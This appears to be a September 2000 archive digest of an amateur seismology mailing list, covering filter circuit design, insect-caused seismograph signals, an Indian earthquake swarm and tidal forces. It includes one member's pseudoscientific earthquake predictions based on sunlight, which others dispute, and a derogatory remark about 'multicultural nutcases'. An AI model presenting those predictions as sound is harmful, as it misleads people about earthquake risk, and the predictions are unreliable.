Subject: Aftershock/s prediction article... From: meredith lamb mlamb1@.......... Date: Tue, 12 Sep 2000 10:00:01 -0700 Hi all, NewScientist web site has a short article on aftershocks from quakes. It seems to read like preliminary thought speculation, but, its up to the reader to ponder. It would seem to require alot of geological/seismic data, on very well known quake potential areas to be of potential use. http://www.newscientist.com/dailynews/news.jsp?id=ns2255150 Meredith Lamb __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: artwork for preamp/filter From: sean@........... Date: Tue, 12 Sep 2000 13:36:36 -0500 (CDT) Jim, Sherm, Regarding the artwork for the seismic preamp/filter that is shown at http://www.eas.slu.edu/People/STMorrissey/index.html, I can send a photocopy of the original artwork, 2X scale, black lines on white or a transparency copy of the actual printing film (which I doubt is dense enough to photo-print from), if you send me three stamps and an address. It really isn't that complicated, as you can see from the scan of the foil side of the board shown on the web site. But If I were to make only one or two, I would use perforated board with foil pads (Vector 3677 cut lengthwise), which I often do for prototype circuits. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: predictions and arrivals From: "John Tacinelli" John.Tacinelli@........ Date: Tue, 12 Sep 2000 16:40:29 -0500 Hi all, With all due respect I don't see how sunlight can affect earthquakes. As = far as predicting earthquakes goes, there is no method that I know of that = is effective over the short term. Perhaps you could explain how this = method works. On another subject, I have gotten several very strange arrivals lately. = The other night, I got three arrivals each about the same size at around = 2am. They were a few minutes apart. They start as a fairly large arrival = then decrease monotonically over about 1 minute. It looks like something = jostled the instrument but when that actually happens the response is very = different. Also, every time this happens, the waves are the same size. = They don't seem to be related to any earthquake. I have occasionally = gotten them during the day as well. I am thinking it might be an = explosion somewhere, such as a quarry. Has anyone ever recorded anything = like that? John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: predictions and arrivals From: "John Tacinelli" John.Tacinelli@........ Date: Tue, 12 Sep 2000 16:40:29 -0500 Hi all, With all due respect I don't see how sunlight can affect earthquakes. As = far as predicting earthquakes goes, there is no method that I know of that = is effective over the short term. Perhaps you could explain how this = method works. On another subject, I have gotten several very strange arrivals lately. = The other night, I got three arrivals each about the same size at around = 2am. They were a few minutes apart. They start as a fairly large arrival = then decrease monotonically over about 1 minute. It looks like something = jostled the instrument but when that actually happens the response is very = different. Also, every time this happens, the waves are the same size. = They don't seem to be related to any earthquake. I have occasionally = gotten them during the day as well. I am thinking it might be an = explosion somewhere, such as a quarry. Has anyone ever recorded anything = like that? John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: R: predictions and arrivals From: "Francesco" franuc@...... Date: Wed, 13 Sep 2000 00:01:12 +0200 Hello John, I have the same your concept about the prediction model...... About the strange signal, have you the seismograms to view? It's an interesting thing! Have you tried to elaborate the source with any spectrum analyzer?=20 Regards Francesco Nucera Italy __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Preamp-Filter Modifications From: ChrisAtUpw@....... Date: Tue, 12 Sep 2000 20:50:31 EDT In a message dated 12/09/00 15:43:20 GMT Daylight Time, jmhannon@........ writes: > The second two 0.1 UF capacitors associated with the second > filter op amp should be changed to 0.0991 UF. You will > need to measure and test select the capacitors and possibly parallel parts > to get within at least 5% of the values specified. Jim, ??? Sorry, but I don't quite understand. 0.0991 UF is within 1% of 0.1 UF. > The 1 Hz design is easily changed to any other frequency within > reason by dividing the value of the 4 1 Meg Ohm resistors by the > desired frequency. For example if you want a 5 Hz low pass filter > you would use 200K resistors instead of 1 Meg. Where is the 4.1 M Ohm coming from? The diagram of the four pole filter gives pairs of 1.6 M Ohm input resistors. Can you confirm the R value for 1 Hz please? Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Preamp-Filter Modifications From: Jim Hannon jmhannon@........ Date: Tue, 12 Sep 2000 21:08:05 -0500 Chris, I was worried that the 4 1 Meg would be miss interpeted. I am referring to the four 1 Meg Ohm resistors not to a 4.1 Meg ohm resistor. My eyes are not working too well, upon closer examination of the schematic the resistor values look like 1M6 rather than the 1MG I thought I was reading. This is a notation I have not seen too often for 1.6 Meg. That value makes more sense because it gives the filter a 1 Hz 3 dB response than the 1.59 Hz I had calculated using 1 Meg Ohms. Anyway when I get to work tomorrow I will go over my calculations and also try to figure out why Karl and I are getting different results from our analysis. As for the capacitor values 0.0991 UF is what the equations give. I did not try and round off or pick nearest values. All of this illistrates the difficulty of building active filters and getting the desired response. You have to account for all the component tolerances and check to see how badly it messes up the desired response. Some circuit topologies are more tolerant to component variations than others. So even the type of circuit needs to be considered. >Jim, > > ??? Sorry, but I don't quite understand. 0.0991 UF is within 1% of 0.1 >UF. > > > The 1 Hz design is easily changed to any other frequency within > > reason by dividing the value of the 4 1 Meg Ohm resistors by the > > desired frequency. For example if you want a 5 Hz low pass filter > > you would use 200K resistors instead of 1 Meg. > > Where is the 4.1 M Ohm coming from? The diagram of the four pole filter >gives pairs of 1.6 M Ohm input resistors. Can you confirm the R value for 1 >Hz please? > > Regards, > > Chris Chapman >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. Jim Hannon http://soli.inav.net/~jmhannon/ 42,11.90N,91,39.26W WB0TXL __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: ULF - Precursor ? Files. From: Arie Verveer ajbv@............ Date: Wed, 13 Sep 2000 11:42:52 +0800 Hi, This may be of interest, In Larry's event list I have been posted 3 files which contain an interesting ULF radiation pulse that occurs many hours before a major event. Solar disturbances appear substantially different as sharp pulses with this instrument. 000912a.au4 (Indonesia region) Ms 6.1 000828b.au4 (Indonesia region) Ms 6.8 000827b.au4 (Volcano Island region) Mb 5.6 More observations are required but there seems to be some ULF radiation emitted a few hours before big quakes that are deeper than 33 km in certain regions. Soon it should be possible to give real values to the A/D counts. I'm working out the calibration process and when this is finished, I'll make up a Web page. Cheers Arie __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Preamp-Filter Modifications From: "Erich Kern" efkern@............. Date: Wed, 13 Sep 2000 00:44:44 -0700 Chris, With all due respect, there is no GMT daylight time. It's called BST or British Summer Time is it not? Whitch is equivalent to what we in the US call daylight saving time. In the interest of preserving traditon, let us not conemplate the alteration of traditional forms of reference. We do not need to assist all of the "multicultural" nutcases out there waiting to stab us the back. Erich Kern -----Original Message----- From: ChrisAtUpw@....... To: psn-l@.............. Date: Tuesday, September 12, 2000 5:50 PM Subject: Re: Preamp-Filter Modifications In a message dated 12/09/00 15:43:20 GMT Daylight Time, jmhannon@........ writes: > The second two 0.1 UF capacitors associated with the second > filter op amp should be changed to 0.0991 UF. You will > need to measure and test select the capacitors and possibly parallel parts > to get within at least 5% of the values specified. Jim, ??? Sorry, but I don't quite understand. 0.0991 UF is within 1% of 0.1 UF. > The 1 Hz design is easily changed to any other frequency within > reason by dividing the value of the 4 1 Meg Ohm resistors by the > desired frequency. For example if you want a 5 Hz low pass filter > you would use 200K resistors instead of 1 Meg. Where is the 4.1 M Ohm coming from? The diagram of the four pole filter gives pairs of 1.6 M Ohm input resistors. Can you confirm the R value for 1 Hz please? Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Possible volcanic activity in Western India From: "Stacey S. Martin" 9point1@....... Date: Wed, 13 Sep 2000 15:28:47 +0530 Hi everyone, This is the first time I'm actually sending a message on this mailing list, so here goes. Since August 9th, the city of Bhavnagar has been experiencing an earthquake swarm. Two large events occured. One on August 13th (4.7Mb) and on September 12th (4.4ML). After yesterday's quake, steam and vapour was emitted from cracks that developed in the earth. I know that this phenomenon is not uncomman during and after earthquakes scientists are all saying that there could be volcanic activity in this region. One scientist from the NGRI attributed the quakes to "sea-floor spreading". The region being shaken is the western shore of Gulf of Khambat. It lies in the south-eastern part of the state of Gujarat, in western India. This region does have hot springs (mentioned just in case they bear any relation to volcanic activity). It is in a structure called the "Cambay Rift". It also lies in Indian Seismic Zone 4 making it vulnerable to earthquakes of magnitude 7. Could the part of a volcano be something worth following up on??? Or would this be a realy interesting seismic swarm???? REally confused here. Western India has had more than its share of quakes this year. Eight magnitude 4+ quakes have occured since March 2000, 3 of which were magnitude 5+ in Koyna (in the neighbouring state of Maharashtra). Yours seismically, Stacey S. Martin : ) __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Preamp-Filter Modifications From: Jim Hannon jmhannon@........ Date: Wed, 13 Sep 2000 06:33:53 -0500 Erich, In defense of Chris, that header is generated automatically by the email program. If you start digging into this sort of thing you will find all sorts of errors and anomolies in the way time is reported. At 12:44 AM 9/13/00 -0700, you wrote: >Chris, >With all due respect, there is no GMT daylight time. It's called BST or >British >Summer Time is it not? Whitch is equivalent to what we in the US call daylight >saving time. In the interest of preserving traditon, let us not conemplate the >alteration of traditional forms of reference. We do not need to assist all of >the "multicultural" nutcases out there waiting to stab us the back. >Erich Kern > > >-----Original Message----- >From: ChrisAtUpw@....... >To: psn-l@.............. >Date: Tuesday, September 12, 2000 5:50 PM >Subject: Re: Preamp-Filter Modifications > > >In a message dated 12/09/00 15:43:20 GMT Daylight Time, jmhannon@........ >writes: Jim Hannon http://soli.inav.net/~jmhannon/ 42,11.90N,91,39.26W WB0TXL __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions and arrivals From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Wed, 6 Sep 2000 18:32:20 +0530 Dear John Tachinelli,, Thanks for the response. Earthquake prediction is ABSOLUTELY POSSIBLE and that too SCIENTIFICALLY. But what we need is the existing approach should be changed. Thats all. The concept of the theory is very simple. ie. whenever the earth faces any external/internal forces, that will activate the change in inclination angle and it ultimately affected the platetectonics with a result came out as an earthquake or a volcanic eruption. Regards, R.SHANMUGASUNDARAM 13/09/2000 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions and arrivals From: Danie Overbeek danieo@............ Date: Wed, 13 Sep 2000 16:06:39 +0000 Hi all Has John Tacinelli looked for insects? I sometimes get events that are at first glance indistinguishable from large teleseisms. These are due to pinhead sized daddy long legs spiders setting up house inside the seismograph draft shield. If you scale it up, it is equivalent to a human being setting a mass like an aircraft in motion. I call these events "spiderquakes" Cheers all Danie Overbeek. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions and arrivals From: "John Tacinelli" John.Tacinelli@........ Date: Wed, 13 Sep 2000 10:42:40 -0500 interesting idea! Spiderquakes... I think that sounds possible. Has anyone else seen = anything like this? I will look for some insects today. John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions and arrivals From: Stephen & Kathy mortskm@....... Date: Wed, 13 Sep 2000 10:27:26 -0700 John Tacinelli wrote: > interesting idea! > Spiderquakes... I think that sounds possible. Has anyone else seen anything like this? I will look for some insects today. > > John Tacinelli > Earth Science Instructor > Rochester Community and Technical College Spiderquakes,,, great name!! A few months ago I recorded about a dozen in a 24 hour period. When I couldn't correlate them with any quakes on the lists I figured that I had another critter,,,, it had happened before. When I first looked I couldn't find any web or spider,,, s o I got a strong flash light and looked again. This time I found the spider but still couldn't see the web. The spider was the smallest daddy long leg type that I have ever seen. His legs were only about .25 inches long and were just barely visible to m y eye. I could have put 5 to 10 bodies of its' size on a pin head,, about 2 or 3 on a "period" (.) in this email. Stephen PSN Station #55 38.828N 120.978W __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions and arrivals From: John Hernlund hernlund@....... Date: Wed, 13 Sep 2000 11:13:33 -0700 (MST) On Wed, 6 Sep 2000, R.SHANMUGASUNDARAM wrote: > The concept of the theory is very simple. ie. whenever > the earth faces any external/internal forces, that will activate > the change in inclination angle and it ultimately affected the > platetectonics with a result came out as an earthquake or a > volcanic eruption. > Regards, > R.SHANMUGASUNDARAM I hate to be the one to play devil's advocate here (well not really), but a few questions might be: - By inclination angle do you mean the orientation of the Earth's rotational axis? True polar wander probably occurs, but the change in the inertia tensor which determines this effect depends on many factors (some internal) that cannot be accurately tracked. - How can we keep track of ALL the forces that might contribute to the stress field? - If we knew the stress field, how can we predict activity based on our incomplete knowledge of fault distributions, frictions, orientiations, etc. (especially faults which do not break the surface). ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: solar/lunar forces wrt quakes From: sean@........... Date: Wed, 13 Sep 2000 13:27:20 -0500 (CDT) Re solar/lunar gravitational forces with respect to earthquakes: The gravitational effects on earth caused by the Sun and the Moon are approximately equal since the moon, although much smaller, is much closer, and the gravitational force of the massive sun is dispersed by the square of the distance from earth. This is why we have approximately equal gravitational tides when the sun/moon angle is near 90 degrees. In conjunction (new moon) the forces add, but an equal tidal force is seen on the opposite side of the earth because of the conservation of rotational momentum. At opposition (full moon) the gravitational amplitudes are maximum. The stress in the earths' crust results in strain and tilts of the order of 10^-7, and are so predictable that routine calculations of them are used to calibrate broadband instruments. Over the years many efforts have been made to correlate earthquake occurrence or make predictions based on the lunar/solar forces. Some slight statistical correlation was found with small events on faults optimally oriented in strike and dip to experience the forces. However, the forces are quite small compared to the stress in the crust caused by barometric fronts during storms, and as far as I know, no one has predicted a quake because of a thunderstorm. And of course, there is very limited data about the state of stress of a fault zone, which can range from "locked up" to being on the edge of rupture, based on the interplay of local and regional tectonic structures and other fault zone variables, such as hydrology. However, from an operational point of view, I have found that the probability of earthquake occurrence is directly related to how broken or inoperable the seismic instrumentation to record it is. Regards, Sean-Thomas __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: solar/lunar forces wrt quakes From: ted@.......... Date: Wed, 13 Sep 2000 14:41:00 -0400 > However, from an operational point of view, I have found that the > probability of earthquake occurrence is directly related to how broken > or inoperable the seismic instrumentation to record it is. Yes, this correlation is quite high in my experience as well. In fact I believe that the high concentration of properly functioning seismic recording devices in the San Francisco Bay Area is providing an extremely under-appreciated protective effect against a large quake occuring anywhere in the area. (Hey, it worked for Parkfield.) Yet another reason to continue (and, I say, increase!) funding for seismic research. Much cheaper than retrofitting all those bridges and buildings. Regards, Ted __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Preamp-Filter Modifications From: ChrisAtUpw@....... Date: Wed, 13 Sep 2000 17:30:43 EDT In a message dated 13/09/00 08:44:24 GMT Daylight Time, efkern@............. writes: > Chris, > With all due respect, there is no GMT daylight time. It's called BST or > British Summer Time is it not? Which is equivalent to what we in the > US call daylight saving time. In the interest of preserving traditon, > let us not contemplate the alteration of traditional forms of reference. Dear Erich Kern, I will approach America On Line, my Internet Provider, about this, but don't hold your breath in the meantime. I am trying to remember when I last had a cooperative response. I agree that it should be either GMT or BST. > We do not need to assist all of the "multicultural" nutcases out there..... My feelings exactly. In the meantime, there may be some confusion in the symbols used in http://www.info2000.net/~aloomis/seisfilt.htm. All capacitors are given in micro Farads although no units are stated and Andy seems to have used the R, K, M system for the resistors. 1R5 is 1.5 Ohm, 5M1 is 5.1 Meg Ohm, etc. Some suppliers use this system. I was not able to verify the filter circuit using the Burr-Brown low pass filter programme. I was attracted to the circuit by the use of the CAZ input OP-AMP, which minimises 1/f noise and by the WWV time signal decoder on the same Website. Regards, Chris Chapman timed @ 21.30 Zulu __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: India Seismicity From: John Hernlund hernlund@....... Date: Wed, 13 Sep 2000 15:19:12 -0700 (MST) Re: the seismic events in india...here is a paper that might be of interest: Rajendran, K and Rajendran, C. (1999) Seismogenesis in the stable continental interiors: an appraisal based on two examples from India, Tectonophysics, Volume 305, 10 May, Pages 355-370. ****************************************************************************** John Hernlund Department of Geological Sciences Arizona State University E-mail: hernlund@....... WWW: http://www.public.asu.edu/~hernlund/ ****************************************************************************** __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: solar/lunar forces wrt quakes From: CapAAVSO@....... Date: Wed, 13 Sep 2000 18:34:14 EDT In a message dated 9/13/00 2:28:21 PM Eastern Daylight Time, sean@........... writes: << In conjunction (new moon) the forces add, but an equal tidal force is seen on the opposite side of the earth because of the conservation of rotational momentum. At opposition (full moon) the gravitational amplitudes are maximum. >> Sean Thomas Could you please explain this in more detail. How does it fit in with the Moon's tidal force being a quadropole force. Cap __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Earthquake.... From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Thu, 7 Sep 2000 11:21:45 +0530 EARTHQUAKE REPORT DT.14TH SEPT.2000 REGION 1:=20 IRAN, SOUTH INDIAN OCCEAN,TAJIKISTAN,AFGHAN=20 AND NORTH INDIA REGION 2: HALMAHERA, MOLUCCA, JAVA, SUMATRA,=20 INDONESIAN ISLANDS,PHILLIPINES & JAPAN. Expected=20 Magnitutde:=20 4 to 5.0+M (Possible changes of increase/decrease=20 depending upon tommorow's earth movement) Part of results of my report dt.12th Sept.2000: There are 3 quakes (4.7 ~ 4.8M)on 13.9.2000 hit at PERSIAN GULF is also part of my above prediction since its direction lying on the imaginary = line drawn between South India and Turkey / Greece. Also expecting further quakes with in the time frame as informed on 12th. R.SHANMUGASUNDARAM vu2rss@....... 14th Sept.2000 10 am IST
EARTHQUAKE REPORT DT.14TH=20 SEPT.2000
 
REGION 1:
          &nbs= p;      =20 IRAN, SOUTH INDIAN = OCCEAN,TAJIKISTAN,AFGHAN=20
          &nbs= p;      =20 AND NORTH INDIA
 
REGION 2:
          &nbs= p;      =20 HALMAHERA, MOLUCCA, JAVA, SUMATRA,=20
           &n= bsp;     =20 INDONESIAN ISLANDS,PHILLIPINES = & =20 JAPAN.
Expected
Magnitutde:
          &nbs= p;      =20 4 to 5.0+M (Possible changes of increase/decrease =
          &nbs= p;      =20 depending upon tommorow's earth=20 movement)
 
Part of results of my report dt.12th=20 Sept.2000:
 
There are 3 quakes (4.7 ~ 4.8M)on = 13.9.2000 hit at=20 PERSIAN GULF is also
part of my above prediction since its = direction=20 lying on the imaginary = line
drawn between South=20 India and Turkey / Greece.  Also expecting = further
quakes=20 with in the time frame as  = informed on=20 12th.
 
R.SHANMUGASUNDARAM
vu2rss@.......
14th Sept.2000 10 am IST
 
 
Subject: R: Earthquake.... From: "Francesco" franuc@...... Date: Thu, 14 Sep 2000 10:39:08 +0200 And Kurili, Tonga, PNG. Brazil, Honshu, China, Alaska, California, Peru? Have you forgot these???????? Until monday, Greece, Turkey, Kermadec, Carribean area, Mexico, = ................... Then?=20 And Italy? When in Italy a major quake? Ahahahahaha Francesco __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: R: Earthquake.... From: "Francesco" franuc@...... Date: Thu, 14 Sep 2000 10:39:08 +0200 And Kurili, Tonga, PNG. Brazil, Honshu, China, Alaska, California, Peru? Have you forgot these???????? Until monday, Greece, Turkey, Kermadec, Carribean area, Mexico, = ................... Then?=20 And Italy? When in Italy a major quake? Ahahahahaha Francesco __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: QUAKE RESULT From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Thu, 7 Sep 2000 15:39:01 +0530 EARTHQUAKE RESULT DT.14TH SEPT.2000 There are two tremors rocked Ahmedabad, Gujarat of minor intensity. Further informations awaited. Matched with my yesterday's report. According to today's earth movement chances of=20 another quake will be hit more or less in the same area to southern parts of India too with 4.0+M R.SHANMUGASUNDARAM 14.09.2000
EARTHQUAKE RESULT DT.14TH=20 SEPT.2000
 
There are two = tremors rocked Ahmedabad, = Gujarat
of minor intensity. Further = informations=20 awaited.
Matched with my yesterday's=20 report.
 
According to today's earth = movement chances=20 of
another = quake will be hit more or less in the=20 same
area to southern parts of India = too=20 with  4.0+M
 
R.SHANMUGASUNDARAM
14.09.2000
Subject: intensity maps From: BOB BARNS roybar@........ Date: Thu, 14 Sep 2000 10:30:28 -0400 Hi gang, This morning, the NY Times had a half-page article about an internet facility for individuals to report what they felt during a 'quake. These data are compiled and mapped. I found the maps very interesting. The web site is a masterpiece. Take a look at pasedena.wr.usgs.gov/shake/ciim.html I don't expect to live long enough to use the reporting feature here in a seismic desert (NJ). Bob Barns __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: intensity maps From: Doug Crice dcrice@............ Date: Thu, 14 Sep 2000 07:28:54 -0700 Bob: The correct spelling is Pasadena, here's the complete link: http://pasadena.wr.usgs.gov/shake/ciim.html BOB BARNS wrote: > > Hi gang, > This morning, the NY Times had a half-page article about an internet > facility for individuals to report what they felt during a 'quake. > These data are compiled and mapped. I found the maps very interesting. > The web site is a masterpiece. Take a look at > pasedena.wr.usgs.gov/shake/ciim.html > I don't expect to live long enough to use the reporting feature here in > a seismic desert (NJ). > Bob Barns > __________________________________________________________ > > Public Seismic Network Mailing List (PSN-L) > > To leave this list email PSN-L-REQUEST@.............. with > the body of the message (first line only): unsubscribe > See http://www.seismicnet.com/maillist.html for more information. -- Doug Crice http://www.georadar.com 19623 Via Escuela Drive phone 408-867-3792 Saratoga, California 95070 USA fax 408-867-4900 __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Loomis Filter mods From: jmhannon@........ Date: Thu, 14 Sep 2000 10:15:28 -0500 (CDT) Analysis of A Loomis low pass filter. The filter sections in the A Loomis filter match the schematic shown in "The Art of Electronics" Second Edition by Horowitz and Hill on page 274. The book refers to this circuit topology as a VCVS (Voltage Controlled Voltage Source) type of filter. Page 274 also includes a table of design values for 2,4,6 and 8 pole Butterworth, Bessel and two types of Chebyshev filters. If you use the design equations given backwards for the component values in the A Loomis filter you get the design values for a 1 Hz Butterworth low pass filter. (Now that I see that the resistors in series with the plus input of the op amps are 1.6 Meg Ohm not 1.0 Meg Ohm.) Given this the design values I provided earlier for the Bessel filter are correct except that you also need to change the 1.6 Meg Ohm resistors to 1.0 Meg Ohm (Which is what I thought they were when I did the Bessel calculations.) A Burr Brown App note http://www.burr-brown.com/download/ABs/AB-034.pdf calls this circuit topology Sallen-Key Jim Hannon http://soli.inav.net/~jmhannon/ 42,11.90N,91,39.26W WB0TXL __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: Next N. Calif. PSN Meeting From: Larry Cochrane cochrane@.............. Date: Thu, 14 Sep 2000 18:30:33 -0700 Hi Jim, Good hearing from you again. I haven't had much time to think about a PSN meeting, I guess its getting near that time again. If you can make it how about being our key note speaker? I'm sure everyone would love to hear how you came up with your sensor design. You're correct, for the past few years we have had the PSN meeting during the AGU meeting in December. Regards, Larry Cochrane Redwood City, PSN At 12:57 PM 9/12/00 -0400, you wrote: > >Hello Larry--greetings from Virginia. I am curious >about the possible time of the next PSN meeting. I >believe it is held sometime during the "AGU" meeting in >December. I assume this is a regional meeting of some >type. I may be able to be on the West Coast this year >about that time. Best Wishes to you and PSN. > > Jim Lehman >-- >Lehman, James Dwight >lehmanjd@....... > > __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions and arrivals From: The Lahrs johnjan@........ Date: Thu, 14 Sep 2000 21:29:44 -0600 I had mouse quakes once at a telemetered station in Attica, NY. John At 09:42 AM 9/13/00 , you wrote: >interesting idea! >Spiderquakes... I think that sounds possible. Has anyone else seen >anything like this? I will look for some insects today. > >John Tacinelli >Earth Science Instructor >Rochester Community and Technical College > > >__________________________________________________________ > >Public Seismic Network Mailing List (PSN-L) > >To leave this list email PSN-L-REQUEST@.............. with >the body of the message (first line only): unsubscribe >See http://www.seismicnet.com/maillist.html for more information. * John C. and Jan H. Lahr *JohnJan@........ * 1925 Foothills Road * Golden, Colorado 80401-1718 * (303) 215-9913 * http://lahr.org/john-jan __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: A Prayer for Bhavnagar From: "Stacey S. Martin" 9point1@....... Date: Fri, 15 Sep 2000 10:49:37 +0530 Hi everyone, I am wondering if anyone recalls reading an article in the May 1984 National Geographic about the seismic swarm in the Campania area of Italy, especially in the Pozzuoli area. The article was called "A Prayer For Pozzuoli". They had dozens of tremors and there was also a regional uplift of a couple of meters in the early 1980's. This was attributed to magma moving into the region below the city (please forgive my description, volcanoes are not really my cup of tea). There were also fumaroles in the Bay of Naples (dunno if these were always there or had only just started). This region is known to lie in a volcanic caldera. Is it possible that there may be other volcanic calderas threat are dormant and unknown of ? Or would regions in a rift, experience this kind of a phenomenon, as in Africa? Bhavnagar lies in the Cambay Rift, and has had dozens of tremors (41 as of today, since 12th September). Could it be possible to draw some sort of a parallel between the Pozzuoli event and the rifting in Africa ?? ? A lot of weird and unusual activity going on here in western India. We have never had so many tremors in so few days. It used to be thrilling to hear of a tremor on the news. But now they are in the news nearly everyday. Yours seismically, Stacey S. Martin : ) P.S. the crack that formed was 25 feet long and 3 inches wide. "Hot air" was said to be constantly emitted from it and crowds had gathered to watch the phenomenon. __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: predictions and arrivals From: "R.SHANMUGASUNDARAM" vu2rss@....... Date: Fri, 8 Sep 2000 13:54:03 +0530 I don't know why people having vast knowledge in this field are unable to save mankind from the earthquake so far! Any way, I humbly submit the answer to the ego's leader...(well not = really),=20 1. If we try, it can be tracked using sun light. 2. Opening of new observatories and data collection. 3. To understand the above concept/theory fully and available=20 data collection during stress period / normal period=20 can process more than our required levels.=20 R.SHANMUGASUNDARAM
I don't know why people having vast = knowledge in=20 this field
are unable to save mankind from the = earthquake so=20 far!
 
Any way, I humbly submit the answer to = the ego's=20 leader...(well not really),
 
1. If we try, it can be tracked using = sun=20 light.
2. Opening of new observatories and = data=20 collection.
3. To understand the above=20 concept/theory fully and available 
    data collection = during stress=20 period / normal period
    can process more = than our=20 required levels.
 
 
R.SHANMUGASUNDARAM
 
 
Subject: Re: predictions and arrivals From: ChrisAtUpw@....... Date: Fri, 15 Sep 2000 18:42:16 EDT Hello John Tacinelli, Have you now cured your local interference problem from radio station K0LM on 1.52 MHz? A short report saying how you achieved it could be useful to other members. Are you completely immune now? > On another subject, I have gotten several very strange arrivals lately. The > other night, I got three arrivals each about the same size at around 2am. > They were a few minutes apart. They start as a fairly large arrival then > decrease monotonically over about 1 minute. It looks like something jostled > the instrument but when that actually happens the response is very different. > Also, every time this happens, the waves are the same size. They don't seem > to be related to any earthquake. I have occasionally gotten them during the > day as well. Do they correlate with anything in your building? If they are roughly the same size, this suggests a repeated action by some source. Like the ventilation system switching, or open windows when there is a wind, or a night watch patrol slamming doors? Are any very heavy objects moved about / dropped? Rubbish skips? Can you use the signals to switch on a tape recorder + mike? A sound recording might suggest a possible source. A piezo sounder disk with a nut glued to the centre makes a good cheap acceleration / noise sensor. I use a BF244A FET with a 10 M input resistance and choose an emitter resistor to give about 0.1 to 0.5 mA to suit the input circuit of the recorder, with a 100 mu F capacitor across it. Do you have any rats, mice, bats, birds about? It is quite surprising what you see if you connect an Infra Red Camera + recorder to a PIR heat detector trigger. I had a problem with rats coming through the hole in a wall from next door. The Council 'Rodent Operative' was not very interested, so I fixed up a PIR trigger + counter. I clocked 25 the first night and 39 the second. He visited me on the third day and put down seed/poison bait. The count dropped to near zero and then went up to several hundred. I used an IR camera and found tiny voles about half the size of a small finger jumping onto the plastic dish, grabbing a mouthful of seeds and leaping off again. Their prominent eyes glowed bright in the IR. It was marginally more entertaining than the TV. They are apparently immune to the rat poison and acted like they hadn't had a feast like this in years! Insects in general and spiders in particular can cause problems. Shell sell Vapona 'insect strips'. You just hang a strip of orange plastic about the size of a large chocolate bar inside your enclosure and the dichlorvos slowly evaporates. You can also probably still get camphor and maybe BHC 'mothballs'. Nocturnal insects that you normally don't see pose the greatest problems. > I am thinking it might be an explosion somewhere, such as a > quarry. Has anyone ever recorded anything like that? Explosions at 2 am don't sound very likely. Quarrying and building demolition tend to take place during daylight / working hours. Check if there is any mineral extraction near you. Coal, Iron, etc.? It doesn't have to be explosions. Underground roof falls in mines can produce large seismic signals. Do you have a railroad with goods trains anywhere near you? Or site which handles heavy road vehicles and has an uneven / potholed road? I used to get woken up by car transporters hitting a depressed manhole cover in the road outside. Regards, Chris Chapman __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: predictions and arrivals From: "John Tacinelli" John.Tacinelli@........ Date: Sat, 16 Sep 2000 15:50:38 -0500 No, I have not cured it. It continues. It has gotten more choppy with = the radio station apparently cutting out during the day sometimes. It may = be that when they get their all day liscence they will not interfere as = much. I hope. However I have no idea how to fix or block or filter it so = I guess I am stuck with it. I have tried all suggestions without success. Lately I have had the instrument centered at night when the station is off = air and all is quiet. During the day, it is off to the left and noisy. = If anyone thinks of anything new, let me know. John Tacinelli Earth Science Instructor Rochester Community and Technical College __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: BESSEL FILTERS From: RADIOTEL@....... Date: Sat, 16 Sep 2000 22:57:51 EDT TO: ALL MAXIM has a 5 pole Bessel analog filter (Part # 7409) which is an 8 pin dip package which operates with 5 volts. Since they only require several additional components (resistor and two capacitors) to operate, they would appear to be useful for a seismograph. Has anyone had any experience with these filters? MAXIM's Web address: http://www.maxim-ic.com should you like to check it out. Jim Allen __________________________________________________________ Public Seismic Network Mailing List (PSN-L) Subject: Re: BESSEL FILTERS From: ChrisAtUpw@....... Date: Sun, 17 Sep 2000 00:39:34 EDT In a message dated 17/09/00 03:58:08 GMT Daylight Time, RADIOTEL@....... writes: > TO: ALL > MAXIM has a 5 pole Bessel analog filter (Part # 7409) which is an 8 pin dip > package which operates with 5 volts. Since they only require several > additional components (resistor and two capacitors) to operate, they would > appear to be useful for a seismograph. The 